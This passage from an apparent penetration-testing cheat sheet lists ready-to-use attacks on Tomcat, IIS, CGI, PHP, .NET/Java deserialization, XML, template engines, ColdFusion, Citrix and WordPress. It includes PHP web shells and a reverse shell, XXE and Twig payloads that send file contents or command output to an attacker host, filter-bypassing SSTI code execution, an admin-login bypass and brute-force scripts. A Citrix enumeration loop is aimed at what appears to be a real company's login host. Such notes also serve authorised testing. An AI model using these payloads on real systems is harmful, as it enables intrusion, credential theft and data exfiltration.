    python2 tomcat.py --port <ajp-port> bf -U users.txt -P passwords.txt /manager/ <ip>
    # Maybe also check the HTTP port
    # and under /manager/html
        
  • Check that the credentials are indeed valid:
    python2 tomcat.py --port <ajp-port> list -u <user> -p <password> <ip>
    # Maybe also check the HTTP port
        
Ghostcat - CVE-2020-1938
  • It is possible to upload files with AJPy if permissions to access /manager/ are obtained (prior section):
    # Create a .war java reverse shell
    python2 tomcat.py --port <ajp-port> upload -u <user> -p <password> <shell>.war <ip>
    # Maybe also check the HTTP port
        
  • Check that the shell was deployed:
    python2 tomcat.py --port <ajp-port> list -u <user> -p <password> <ip>
    # Maybe also check the HTTP port
        
  • Now execute the remote shell:
    # I couldn't check this, possibly
    # you can find it installed under
    # http://<ip>/manager/html/<app>
    # Or maybe this works:
    python2 tomcat.py --port <ajp-port> read_file --webapp=<app> / <ip>
        
  • Metasploit tomcat_mgr_upload module worked with the HTTP port, but I couldn’t make AJPy work (with AJP port)
  • Note that the .war can be manually uploaded at http://<ip>/manager/html

IIS

File/Dir Disclosure

Short Name Enumerator
sns
  • Site - Go IIS shortname scanner:
    # Add headers through --proxy <http>
    sns -c -u <url>
    # -t <n> - Limit threads: 1 -> safest
    
    # Multiple urls
    sns -c -f <(echo -e '<url1>\n<url2>')
        
IIS shortname Scanner
  • Site - Python IIS shortname scanner:
    python3 main.py <url>
        

File Extension Bypass

Information
Attack
  • Use a semicolon in the extension:
    <file>.asp;.jpg
    # Executed/Saved as <file>.asp
        

Technologies

CGI

Shellshock - CVE-2014-6271

  • Find the CGI login page (ie: /session_login.cgi) and identify one of the post fields (like user)
  • Pay attention to the headers in place
  • Perform a common login POST request using a sleep as User-Agent:
    () { :; };sleep 10
    # In some cases sleep 10 alone works
        
  • With curl:
    # -A '...' or -H 'User-Agent: <cmd>'
    # Remove -s if curl errors to check
    curl -A '() { :; };sleep 10' -H 'Cookie: testing=1; sid=x' -s 'https://<ip-port>/session_login.cgi' -d 'user=test' | w3m -T text/html -dump
    # -H "Cookie: ..." to bypass the:
    #  Error - No cookies
        
  • May be easier with burp or mitmproxy
  • Important: Only builtins may be available, PATH is unset, use full path
  • Note that any other script in the /cgi-bin/ folder may also be susceptible to shellshock
  • Scripts there may even set a text/x-sh header (or broken ones), so add an echo; before the test command

PHP

Dictionaries

Login Bypass

Array
  • Array types may break the form validation logic
  • Simply change the form fields/params
    • from user=<user>
    • to user[]=<user>
  • Try changing only one at a time

Code Execution

PHPInfo
  • If PHPInfo is not exposed by the server but it is possible to inject PHP code, though not achieving RCE, consider calling the phpinfo() function to troubleshoot a bit
  • Check for the value of the disable_functions directive to see which functions might be preventing RCE
  • Check for the $_SERVER['DOCUMENT_ROOT'] variable in case the way to achieve RCE is by writing a malicious file
System Commands
<?php $out=shell_exec("<cmd> 2>&1"); echo "<pre>$out</pre>"; ?>

// Using GET cmd parameter
<?php echo "<pre>" . shell_exec($_GET["cmd"] . " 2>&1") . "</pre>"; ?>

// Using base64
<?php echo "<pre>" . shell_exec(base64_decode($_GET["cmd"])) . "</pre>"; ?>
// $_REQUEST is "like" $_GET + $_POST
Bind/Reverse Shells
// Reverse Shell
<?php $sock=fsockopen("<ip>", <port>); exec("/bin/sh -i <&3 >&3 2>&3"); ?>
// Use passthru with raw output
// Use pipes with popen or proc_open
Protocol Wrappers - LFI/RFE / RCE
  • Docs - RCE through HTTP parameters:
    # Plain text
    <url>?file=data://text/plain,<?php echo shell_exec("<cmd>"); ?>
    # Also try data://text/plain,[...]
    
    # Base64
    <url>?file=data://text/plain;base64,<base64payload>
        
  • LFI through HTTP parameters:
    <url>?file=/etc/passwd
    
    # or forcing file
    <url>?file=file:///etc/passwd
    
    # SMB shares can be opened
    <url>?file=\\<ip>\share\evil.php
        
  • RFI/RFE through HTTP parameters:
    <url>?file=http://<domain/evil.php
    
    # or using php filter
    <url>?file=php://filter/resource=http://<domain/evil.php
    
    # or using ssh2, ftp, etc
        
  • LFI RCE through POST data:
    <url>?file=php://input
    
    # POST body
    <?= `<system-cmd>`; ?>
        
  • LFI RCE through /proc/self/environ:
    # First check that environ has content
    <url>?file=/proc/self/environ
    
    # If so, inject in the variables
    <url>?file=/proc/self/environ&cmd=id
    # Inject headers
    User-Agent: <?= `$_GET['cmd']`; ?>
        
  • LFI RCE through session cookies:
    # First check the session cookie file
    <url>?file=/var/lib/php/sessions/sess_<PHPESSID-cookie>
    # If not there, check <? phpinfo(); ?>
    # for session.save_path
    # Or, if possible, execute:
    #   <?= ini_get('session.save_path');?>
    # If empty, then try check for php.ini:
    #   /etc/php<version>?/**/php.ini
    #   Where ? mean no version: just php
    #   and where ** could be:
    #     A PHP version, such as 7.3
    #     a server, such as apache2 or fpm
    #     middle software, such as cgi, cli
    #     a combination of both: modern OS
    #   Also can be /usr/local/lib/php.ini
    # Or, if possible, execute:
    #   <?= php_ini_loaded_file(); ?>
    # Or:
    #   <?  print_r(php_ini_scanned_files());?>
    # Else the sessions could be under:
    #   /var/lib/php<version>?/sessions?/
    #   /var/lib/php/mod_php/session/
    #   /var/tmp/
    #   /tmp/
    # The tmp folders may have subfolders
    
    # If accessible and one of the cookies
    # appear in plaintext & can be modified
    # (such as username), change it to:
    <?= `$_GET['cmd']`; ?>
        
  • LFI RCE through web logging:
    # First locate the Apache logs
    <url>?file=/etc/apache2/apache2.conf
    <url>?file=/etc/apache2/envvars
    
    # Then check that the logs are readable
    <url>?file=/var/log/apache2/access.log
    <url>?file=/var/log/apache2/error.log
    
    # Access a payloaded URL
    <site>/<?php echo "<pre>" . shell_exec($_GET["cmd"] . " 2>&1") . "</pre>"; ?>
    
    # And read the log back
    <url>?file=/var/log/apache2/access.log&cmd=id
        
  • Read local files + convert to base64:
    <url>?file=php://filter/read=convert.base64-encode/resource=./index.php
        
  • Zip + Phar upload LFI RCE:
    # After uploading a Zip or Phar file
    <url>?file=zip://file.zip#evil.php
    
    <url>?file=phar://file.phar/evil.php
    # See the section below for phar files
        
  • Expect wrapper also allows cmd exec:
    # Test netcat, space is $IFS
    expect://nc$IFS10.0.0.1$IFS8080
        
PHAR files
  • Command to create:
    # Bypass default PHAR files creation
    php -c <(echo -e '[phar]\nphar.readonly = 0') create_phar.php
        
  • Create for use in LFI phar:// wrapper:
    <?php
        $filename = "test.phar";
        $phar = new Phar($filename);
        $phar->startBuffering();
        $phar->setStub("<?php __HALT_COMPILER();");
    
        $phar->addFromString("evil.php", '<?php echo `$_GET["cmd"] 2>&1`; ?>');
    
        class MetadataStub {}
        $object = new MetadataStub;
        $phar->setMetadata($object);
        $phar->stopBuffering();
    ?>
        
  • Exploit PHAR deserialization:
    // After localizing the class to exploit
    <?php
        require("vuln_class.php");
    
        $filename = "test.phar";
        $phar = new Phar($filename);
        $phar->startBuffering();
        $phar->setStub("<?php __HALT_COMPILER();");
        $phar->addFromString("test.txt", "test");
    
        $object = new VulnClass();
        $object->vuln_func = "passthru";
        $object->vuln_arg = "id";
    
        $phar->setMetadata($object);
        $phar->stopBuffering();
    ?>
        
  • Embed a PHAR inside a JPG: see
Object Deserialization
  • Simple example:
    <?php
        require("vuln_class.php");
    
        $object = new VulnClass();
        $object->vuln_func = "passthru";
        $object->vuln_arg = "id";
    
        print_r(serialize($object).PHP_EOL);
        // or save it to a file:
        // file_put_contents("test", serialize($object));
    ?>
        

File Upload

Extensions
  • Try php3, php4, php5, and phtml
PHPINFO - info.php
  • Note that this is a temporary upload
  • First check that file_uploads = On
  • Perform a POST request to info.php:
    POST <uri>/info.php HTTP/1.1
    Host: <domain/ip>
    User-Agent: Test
    Cookie: PHPSESSID=<sess-id>
    Content-Length: <body-len+newlines>
    Content-Type: <type>
    
    <body>
        
  • <type> and <body> may have to be multipart/form:
    Content-Type: multipart/form-data; boundary=---------------<keyword>
    
    ---------------<keyword>
    Content-Disposition: form-data; name="<var>"; filename="test.txt" Content-Type: text/plainSecurity
    <file-content>
    ---------------<keyword>
        
  • If phpinfo displays the temporary location of the file, leverage a LFI to RCE with this path
  • Scripts to improve the success rate as the files live for a few seconds:

Object Injection

  • See - PHP objects can be serialized and included in vulnerable applications (see the phar wrapper)
  • Leverage destructors, function calls, etc using user-controlled code to perform RCE

C# / C-sharp

Linux

dotnet
Install Standalone
  • From docs.microsoft (see deps)+Telemetry
    curl -L -O https://dot.net/v1/dotnet-install.sh
    
    # Opt out of the Telemetry
    export DOTNET_CLI_TELEMETRY_OPTOUT=1
    # Only required before installing
    
    # Non-root - Latest SDK install
    bash dotnet-install.sh -c Current
    # -c <LTS/3.1>      - 6.0 LTS or 3.1
    # --runtime aspcore - Runtime only
    
    # The ~/.dotnet folder can be moved to
    # /usr/share and consider symlinking
    # the dotnet tool to /usr/bin
        
Build
  • New console project:
    mkdir test
    
    cd test
    
    dotnet new console
    
    # Edit Program.cs
    vi Program.cs
    
    # Add dependencies
    dotnet add package <name>
    dotnet add reference <path>
    
    # Test it
    dotnet run
    
    # Build it (Debug build)
    dotnet build
    # -c Release     - Relase build
    # -f <framework> - Target FW
    # -r <runtime>   - Target Runtime
    # --arch <arch>  - Target Arch
    # --os <os>      - Target OS
    #
    # Flags required to "self-contain"
    # --sc           - Self-Contained
    # --use-current-runtime | -r <runtime>
    # <arch>-<os> dir is self-contained
        
ILSpy
  • Win - Linux - Cross-platform C# Decompiler
  • Better decompilation than dnSpy
  • Linux AvaloniaILSpy HiDPI - ref:
    xrandr --listactivemonitors
    
    AVALONIA_SCREEN_SCALE_FACTORS='eDP-1=3' artifacts/linux-x64/ILSpy
        
  • dotnet command line tool:
    # Install
    dotnet tool install -g ilspycmd
    
    # Add tool to PATH
    export PATH="$PATH:$HOME/.dotnet/tools"
    
    ilspycmd <file>
    # -o <dir>        - Decompile to folder
    # -p              - Decompile as project
    # -d              - Dump file bundle
    # -lv <ver>       - C# lang version
    # -r <path>       - Path to dependencies
    # --no-dead-code
    # --no-dead-stores
        

Docker

  • Select the appropriate version: docker hub
    docker run -it --rm --entrypoint /bin/bash -v "/tmp/test:/mnt/shared:rw" mcr.microsoft.com/dotnet/sdk:<ver>
    
    # Check the SDKs and Runtimes
    dotnet --list-sdks
    
    dotnet --list-runtimes
    # Consider using the Linux Standalone
    # above for different SDKs/runtimes
    
    # Remove image
    docker rmi mcr.microsoft.com/dotnet/sdk:<ver>
        

Windows

Decompilation
dnSpy

Debugging

  • Edit C# Assembly attributes:
    // From
    [assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
    
    // To
    [assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default | DebuggableAttribute.DebuggingModes.DisableOptimizations | DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints | DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]
        

Deserialization

ysoserial.net
  • Site - Deserialization payload generator
  • Visual Studio 2022 Fix - ref
    dotnet nuget remove source nuget.org
    
    dotnet nuget add source https://api.nuget.org/v3/index.json -n nuget.org
        
  • Example:
    type "<file-long-cmd>" | ysoserial.exe -o raw -g WindowsIdentity -f Json.Net -s
        
ObjectDataProvider
  • docs.microsoft - using System.Windows.Data;
  • From WPF - Windows only
  • XML deserialization via ExpandedWrapper:
    using System;
    using System.IO;
    using System.Xml.Serialization;
    
    using System.Windows.Data;
    using System.Data.Services.Internal;
    
    using <lib-to-call-when-deserializing>;
    
    namespace ODPXmlSerializer
    {
        class Program
        {
            static void Main(string[] args)
            {
                var myExpWrap = new ExpandedWrapper<<class-from-lib>, ObjectDataProvider>();
    
                myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
    
                myExpWrap.ProjectedProperty0.ObjectInstance = new <class-from-lib>();
                myExpWrap.ProjectedProperty0.MethodName = "<method-from-lib>";
                myExpWrap.ProjectedProperty0.MethodParameters.Add("<method-param1>");
                myExpWrap.ProjectedProperty0.MethodParameters.Add("<method-param2>");
    
                var xmlSerializer = new XmlSerializer(myExpWrap.GetType());
                var stringWriter = new StringWriter();
    
                xmlSerializer.Serialize(stringWriter, myExpWrap);
    
                Console.WriteLine(stringWriter.ToString());
            }
        }
    }
        

Java

Decompilation

fernflower
  • Site - JetBrains Intellij Decompiler
JD-GUI
  • Site - Multiplatform Decompiler

Deserialization

Java-Deserialization-Cheat-Sheet
  • Site - Java Deserialization cheatsheet
ysoserial
  • Site - Java deserialization payload gen
    java -jar ysoserial.jar CommonsCollections1 calc.exe
        

JAR

  • Create a JAR from scratch:
    • JAR/test.java
      import java.util.*
      
      public class test{
          public static void main(String[] args){
              System.out.println("<test>");
          }
      }
              
    • Compile:
      javac -source 1.8 -target 1.8 test.java
              
    • META-INF/MANIFEST.MF
      Main-Class: test
              
    • Create JAR:
      jar cmvf META-INF/MANIFEST.MF test.jar test.class
              
    • Test it:
      java -jar test.jar
              

JavaScript

XSS

  • Check if the XSS is running in the same page context (and not an iframe) with alert(document.domain) instead of alert(1)

XML

Injection

Notes
  • When injecting the XML, note that the DOCTYPE or ELEMENT may need to be defined before XML tags (doc’s beginning)
XSS
<!-- Try first -->
<![CDATA[<script>alert('xss')</script>]]>
<!-- CDATA is not parsed by XML -->
<!-- Alternate -->
<![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>

<!-- Try with an internal XML entity -->
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE test [<!ENTITY xxi "<script>alert('xss')</script>">]>
<test>&xxi;</test>
XXE
<!-- Private (SYSTEM) -->
<!-- "uri" can be
     - a standard URL
     - file:///<full-path> - Dir trav
       - Some implementations read dirs
     - PHP wrapper (expect://<rce>)
     - Java/other implementation  -->
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "<uri>">]>
<test>&xxe;</test>

<!-- Alternative with ELEMENT -->
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

<!-- Note that Dir traversal may
     break the XML depending on the
     content of the file
     Encode it to bypass this     -->
<!DOCTYPE a [<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=<rel-path>">]>
<title>&test;</title>

<!-- Public -->
<!-- The id after PUBLIC is optional -->
<!DOCTYPE b [<!ENTITY pub PUBLIC "-//W3C//TEXT info//EN" "<path-to.xml>">]>
<title>&pub;</title>

<!-- Parameter Entities -->
<!DOCTYPE p [<!ENTITY % param SYSTEM "alert()"> <!ENTITY xss "<script>%param</script>">]>
<title>&xss;</title>

<!-- Using an external DTD as wrapper -->
<!-- to bypass entity concat error -->
<!-- wrapper.dtd in our local machine -->
<!ENTITY wrapper "%start;%file;%end;">

<!-- XML to send to the parser -->
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [
  <!ENTITY % start "<![CDATA[">
  <!ENTITY % file SYSTEM "file:///etc/passwd" >
  <!ENTITY % end "]]>">
  <!ENTITY % dtd SYSTEM "http://<attacker-ip>/wrapper.dtd" >
  %dtd;
]>
<test>&wrapper;</test>

<!-- Unparsed External Entities -->
<!-- Allows accessing binary data -->
<!ENTITY name SYSTEM "<uri>" NDATA TYPE>
<!ENTITY name PUBLIC "<pub-id>" "<uri>" NDATA TYPE>

<!-- Exfiltrate data - External DTD -->
<!-- 1 - external.dtd file -->
<!ENTITY % content SYSTEM "file:///etc/passwd">
<!ENTITY % external "<!ENTITY &#37; exfil SYSTEM 'http://<attacker-ip>/out?%content;'>" >
<!-- Start a file server -->

<!-- 2 - Payload -->
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE oob [
<!ENTITY % base SYSTEM "http://<attacker-ip>/external.dtd">
%base;
%external;
%exfil;
]>
<bar>
</bar>
<!-- If errors try with /etc/timezone -->

XPath Injection

XCat
  • Repo - XPath injection tool - docs
    xcat detect '<url>' <param> "<param>=<val>" --true-string="<non-error-str>" --fast --concurrency=<n> -h <file.h> --encode=form -m POST
    # Change 'detect' to 'run' or 'shell'
        

WebDAV

Notes

  • When uploading files, some formats/extensions may not be allowed (check with davtest), but there may be no issue in uploading them as .txt and then renaming them (use cadaver)

davtest

  • Site - Kali-Site - Exploit DAV
    # Perform check and clean afterwards
    davtest -url <url> -cleanup
    # -auth <user:pass> | -realm <realm>
    
    # Upload backdoor (improved-version)
    davtest -url <url> -sendbd auto
    # See backdoor folder for valid ext
    # Non-random name: -random <name>
    
    # Upload file
    davtest -url <url> -uploadfile <file> -uploadloc <destination>
    # Create dirs: -directory <dir>
        

Cadaver

  • Site - WebDAV FTP-like tool
    # Use -t to operate on non-DAV paths
    cadaver <url>
    # ls | cd | pwd | get | put | delete
        

LUA

Decompilation

General
  • Use file to figure out the version
  • Get a decompiler from lua-users
luadec
  • Site - LUA 5.0 decompiler
  • To fix compilation issues run:
    grep -l -r getline | xargs -n1 sed -i 's/getline(/ld_&/g'
        
unluac
  • Site - LUA 5.1+
  • Custom opmaps might be required
    • Use the --opmap <op-file>

Template Engines

Manual

Detection
  • Find GET, POST or URL path that react to user input
  • Success operation payloads
    {{7*7}}
    ${7*7}
    <%= 7*7 %>
    ${{7*7}}
    #{7*7}
    @(7*7)
        
  • Error payloads -> Detect engine
    ${{<%[%'"}}%\
    ${}
    {{}}
    @()
    <%= %>
    ${7/0}
    {{7/0}}
    <%= 7/0 %>
    @(7/0)
    ``
        
  • Also try with statements performing common actions ({%print("test")%}) instead of just expressions ({{7*7}})

Cheatsheets

Twig - PHP

  • Detect
    {{5*5}}
    {{5*'5'}}  # Also 25
    Space {{-variable-}}
        
  • RCE
    {{[0]|reduce('system','whoami')}}
    # Check the docs of these functions:
    #   filter, join, map, slice, and sort
    
    # Data exfiliation
    {% set output %}
    {{[0]|reduce('system','whoami')}}
    {% endset %}
    
    {% set exfil = output| url_encode %}
    {{[0]|reduce('system','curl http://<attacker-ip>/?exfil=' ~ exfil)}}
        

Apache Freemarker - Java

  • Susceptible to XSS
  • .ftl files
  • Detect
    ${8*8}
    ${8*'8'} # Error (Java types)
        
  • RCE
    # The Java class has to implement the
    # TemplateModel class:
    ${"freemarker.template.utility.Execute"?new()("whoami")}
        

Pug / Jade - NodeJS / Express FW

  • Detect
    # If the result is encompased by <> then
    # it is Pug as it expects the first word
    # of the line to be a tag: h1, p, div...
    
    #{9*9}
    #{"9"*9}  # Also 81
        
  • RCE
    # 1st. Check if require mod is loaded
    = require
    
    # if not, see if found in the gobal obj
    = global.process.mainModule.require
    
    # if output, set it to a variable
    - var require = global.process.mainModule.require
    
    # Try loading the child_process module
    = require('child_process')
    
    # Run a system command
    = require('child_process').spawnSync('whoami').stdout
        

Jinja - Python / Flask FW

  • Detect
    {{4*4}}
    {{4*"4"}}   # Jinja if 4444
    {{request}} # Jinja if <Request ...>
    {{conf}}
    {{session}}
        
  • Configuration info
    {{conf|ppprint}}  # See Encryption_key
        
  • Read files
    # Python 2.7
    {{''.__class__.__mro__[2].__subclasses__()[40]('<full-path-to-file>').read()}}
    
    # Python 3
    {{''.__class__.__mro__[1].__subclasses__()[40]('<full-path-to-file>').read()}}
        
  • RCE
    # Bypass most common filters: '.',
    # '_','|join','[',']','mro','base'
    {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('<cmd>')|attr('read')()}}
    
    # Other bypass way using variables
    {% set string = "test" %}
    {% set class = "__class__" %}
    {% set mro = "__mro__" %}
    {% set subclasses = "__subclasses__" %}
    {% set mro_r = string|attr(class)|attr(mro) %}
    # mro_r[1] is <object> class
    {% set subclasses_r = mro_r[1]|attr(subclasses)() %}
    # subclasses_r[420] is <subprocess> class
    {{ subclasses_r[420](["</path/to/bin>","<arg1>"])|read() }}
    
    # Shortest payloads
    {{ cycler.__init__.__globals__.os.popen('<cmd>').read() }}
    
    {{ joiner.__init__.__globals__.os.popen('<cmd>').read() }}
    
    {{ namespace.__init__.__globals__.os.popen('<cmd>').read() }}
        

Mustache / Handlebars - JavaScript

  • Handlebars is a less restrictive Mustache
    • Only XSS & variable dump on Mustache
  • Detect
    # Find a variable that might be set and:
    {{#if name}}
          {{name}}
    {{/if}}
    
    # Try erroring for non-existing vars
    {{#each does_not_exist}}
         {{this}}
    {{/each}}
        
  • Read files - (handlebars-helpers script)
    # List directory
    {{#each (readdir "/tmp")}}
         {{this}}
    {{/each}}
    
    # Read file
    {{read "/etc/passwd"}}
        
  • RCE depends on imported modules and the underlying implementation

Tplmap

  • Site - SSTI detect & exploit tool
    # Detect if 'name' is injectable
    tplmap.py -u 'http://<ip>/page?name=John'
    
    # Detect if the path is injectable
    tplmap.py -u 'http://<ip>/*'
    
    # Run a shell
    tplmap.py --os-shell -u 'http://<ip>/page?name=John'
        

Apps

Adobe ColdFusion

Windows

  • From here
  • Find the version in the image of the admin login: http://<ip>/CFIDE/administrator
Administration Login Bypass
  • http://<ip>/CFIDE/administrator/enter.cfm needs to be accessible, try HTTPS if not
  • Use LFD for showing the passwords hashes:
    # ColdFusion 6
    http://<ip>/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX\lib\password.properties%00en
    
    # ColdFusion 7
    http://<ip>/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX7\lib\password.properties%00en
    
    # ColdFusion 8
    http://<ip>/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\lib\password.properties%00en
    
    # Other versions
    http://<ip>/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en
        
  • On the console, run the following JavaScript to get the HMAC hash:
    hex_hmac_sha1(document.loginform.salt.value,"<LFD-password-field>")
        
  • Start a mitm HTTP proxy for tampering the request when submitting the login form
  • Note that the user field should be admin and the password field empty when sending the request
  • On the tamperer, set the empty cfadminPassword field to the HMAC hash obtained before
  • Note that the login page reloads every 30 seconds to renew the salt, so you’ll have to repeat the console step to get the new HMAC hash
  • On the tamperer, the request shall include in a field the salt and this only seem to happen when sending the empty password
Uploading an evil file
  • Get the currently executed path by going to the Server Settings > Mappings section in the left tab and noting the CFIDE local path (or any other that can be accessible from the web)
  • Go to Debugging and Logging > Scheduled Tasks and create a new task
    • Set the name (anything works)
    • Set the URL to your machine IP:PORT serving an evil cfm shell with .txt extension
    • Check Output to file
    • Set the file path to the local CFIDE path (or any other accessible) + any name for the file (that doesn’t include - or any symbol) with .cfm extension
    • Save the task
  • Run the task
  • If it fails it may be due to firewall rules (workaround), bad permissions to write to the path, tasks permissions (check the appropriate tabs) or anything related to the filename
Playing with the CFM shell
  • First try to execute the suggested cmd command with a dir
  • If it fails, try using only cmd in the Command field and /c <command> in the Options field
  • When uploading a file (like nc.exe) locate it using cmd /c dir /s /a C:\*nc.exe and increase the Timeout
  • Finally, execute nc using the cmd /c to avoid possible issues regarding the Timeout value

Webmin

Information

  • Can perform tasks equivalent to root
  • Its access password is usually root’s
  • IMPORTANT: There’s a limit for attempting to login before locking (either permanently or temporarily)!!

Shellshock - CVE-2014-6271

  • Webmin uses CGI for login at: /session_login.cgi
  • Use () { :; };sleep 10 in the User-Agent to check for it
  • See the Shellshock section

PrivEsc

  • Create a new task with a reverse shell

Citrix

Login Schema Enumeration

  • Find the default StateContext by intercepting a login attempt, changing it to an invalid value and checking the value of StateContext in the response
  • Used for downgrading login (schemas ref):
    while read l; do sc="$(echo -n "loginschema=$l" | base64 -w0)"; curl -s -k --data-urlencode "StateContext=$sc" 'https://remote.axa.be/nf/auth/doAuthentication.do' | grep -q 'bG9naW5zY2hlbWE9ZGVmYXVsdA==' || echo "$l - $sc"; sleep 1; done <<EOF
    CheckBox
    ClientCertDualAuthDeviceID
    ClientCertSingleAuthDeviceID
    DeviceID_Cert
    DomainDropdown
    DualAuth
    DualAuth_Flipped
    DualAuthDeviceID
    OntyDeviceID
    OnlyDomainDropdown
    OnlyOAuthToken
    OnlyPassword
    OnlyUsername
    PrefilUserFromExpr
    SingleAuthCaptcha
    SingleAuthDeviceID
    EOF
        
  • Intercept a login attempt and replace the StateContext base64 value

Salesforce

Endpoint Enumeration

  • Guide
  • Search for this in the Proxy history:
    • /s/sfsites/aura - URL
    • /sfsites/aura - URL
    • /aura - URL
    • aura.ApexAction.execute - GET param
    • message - POST param
    • aura.context - POST param
    • aura%3a%2f%2f - Encoded param
    • apex%3a%2f%2f - Encoded param
  • Grep in app.js or aura_prod.js for
    • componentService.initControllerDefs([{

Endpoint Interaction

  • Better use an existing POST to aura as template as it might require additional params like aura.context or aura.token
  • URL-decode message and replace the:
    • /”descriptor”:/ <controller>
    • /”classname”:/ <apex-class>
    • /”method”:/ <class-method>
    • /”params”:{/ <params> }
  • Only Callable Apex Classes can be invoked this way

CMS

Wordpress

WPScan
  • Site - WP/Plugin/Site enumeration:
    # Update Plugin DB
    wpscan --update
    
    # Complete vuln scan & User-enum
    wpscan --url <url> --api-token <id>
    # Get the token in wpscan.com
    # Set if WP URI is non-default:
    # --wp-content-dir|--wp-plugins-dir
    # --force - Force scanning site
    # --random-user-agent - WAF bypass
    # --proxy - Run through proxy
    # Just use the WP/Plugin versions
    # in searchsploit, ignore the links
    
    # Pass bruteforce
    wpscan --url <url> -e u --passwords <wordlist>
    
    # Enumerate all plugins/themes
    wpscan --url <url> -e at,ap --api-token <id>
        
XML-RPC
Supported Functions
  • Call system.listMethods:
    curl -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName><params></params></methodCall>' -H 'Content-Type: text/xml' <url>/xmlrpc.php
        
  • Try interacting with a test method:
    # For example: demo.sayHello
    curl -d '<?xml version="1.0"?> <methodCall><methodName>demo.sayHello</methodName><params></params></methodCall>' -H 'Content-Type: text/xml' <url>/xmlrpc.php
        
  • Or try with a common one:
    # For example: wp.getUsersBlogs
    curl -d '<?xml version="1.0"?><methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>USER</value></param><param><value>PASS</value></param></params></methodCall>' -H 'Content-Type: text/xml' <url>/xmlrpc.php
        
Credential Bruteforce
  • Multi-attempts in one request:
     # First check if system.multicall works
     curl -d @<(awk -vMULTI=1000 -vUSER='<user>' -vORS='' -vbegin='<?xml version="1.0"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data>' -vend='</data></array></value></param></params></methodCall>\n' 'BEGIN{print begin;++MULTI};!(NR%MULTI){print end begin}$0="<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>"USER"</string></value><value><string>"$0"</string></value></data></array></value></data></array></value></member></struct></value>";END{print end}' <dict> | head -n 1) -H 'Content-Type: text/xml' <url>/xmlrpc.php
     # If so, find the max MULTI allowed
    
     # Patator - 650 req 3 threads - 5 req/s
     # rockyou.txt takes around 1h
     # For more edit multiprocessing maxsize
     patator http_fuzz url='<path-to>/xmlrpc.php' header='Content-Type: text/xml' method='POST' auto_urlencode=0 body='PROG0' 0="/tmp/test.sh <dict>"  --allow-ignore-failures -x ignore:code='xxx' -x ignore:fgrep!='blogid' -x quit:fgrep='blogid'-t 3
    
    # Create /tmp/test.sh with the following
     #!/usr/bin/env -S perl -pl
    
     # Set $maxsize to patator multi maxsize
     BEGIN{$multi=650;$user='<user>';my$maxsize=10000;use Fcntl;fcntl+STDOUT,Fcntl->F_SETPIPE_SZ,$maxsize;undef$\;print$begin='<?xml version="1.0"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data>';$end='</data></array></value></param></params></methodCall>\n';++$multi};print$end,$begin,unless$.%$multi;$_="<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>$user</string></value><value><string>$_</string></value></data></array></value></data></array></value></member></struct></value>";END{print$end}
     # Setting the pipe with fcntl is an
     # alternative to setting it on
     # patator's pipesize subprocess.Popen
     # on the ProgIter class
     # Check the buffer size with (cat req):
     # perl -MFcntl -E 'say+fcntl+STDOUT,Fcntl->F_GETPIPE_SZ,0' | cat
    
     # ffuf only allows 100 - Doesn't stop
     # rockyou.txt takes around 7h and has
     # to be divided to prevent OOM
     awk -vMULTI=100 ... | sed -n '1,100000p' | ffuf -u "<url>/xmlrpc.php" -c -mr 'blogName' -H 'Content-Type: text/xml' -d 'FUZZ' -w - -t 2
     # Note that -input-cmd results in OOM
    
     # Hydra is unable to do this attack
     # because ^PASS^ max chars are 255
        
  • No multicall, slower than login form:
    # Via wp.getUsersBlogs - Doesn't stop
    ffuf -u "<url>/xmlrpc.php" -c -ac -ic -H 'Content-Type: text/xml' -d '<?xml version="1.0"?><methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>USER</value></param><param><value>FUZZ</value></param></params></methodCall>' -w <dict>
    
    # Via wp.getPosts - Stops on first res
    hydra -f -l none -P <dict> <ip> http-post-form '/<path-to>/xmlrpc.php:<?xml version="1.0"?><methodCall><methodName>wp.getPosts</methodName><params><param><value>0</value></param><param><value>USER</value></param><param><value>^PASS^</value></param></params></methodCall>:403:H=Content-Type\: text/xml'
        
Pingback Attack
  • Useful for IP reveal (WAF bypass), Port Discovery (XSPA) and DoS - reference:
    # Try a https://postb.in/ as URL-FROM
    # URL-TO is: <site/127>/wordpress/?p=1
    curl -d '<?xml version="1.0"?> <methodCall><methodName>pingback.ping</methodName><params><param><value> <string>URL-FROM</string> </value></param><param><value> <string>URL-TO</string> </value></param></params></methodCall>' -H 'Content-Type: text/xml' <url>/xmlrpc.php
    # faultCode>0 means open URL-FROM port
        
Privilege Escalation
Database
Notes
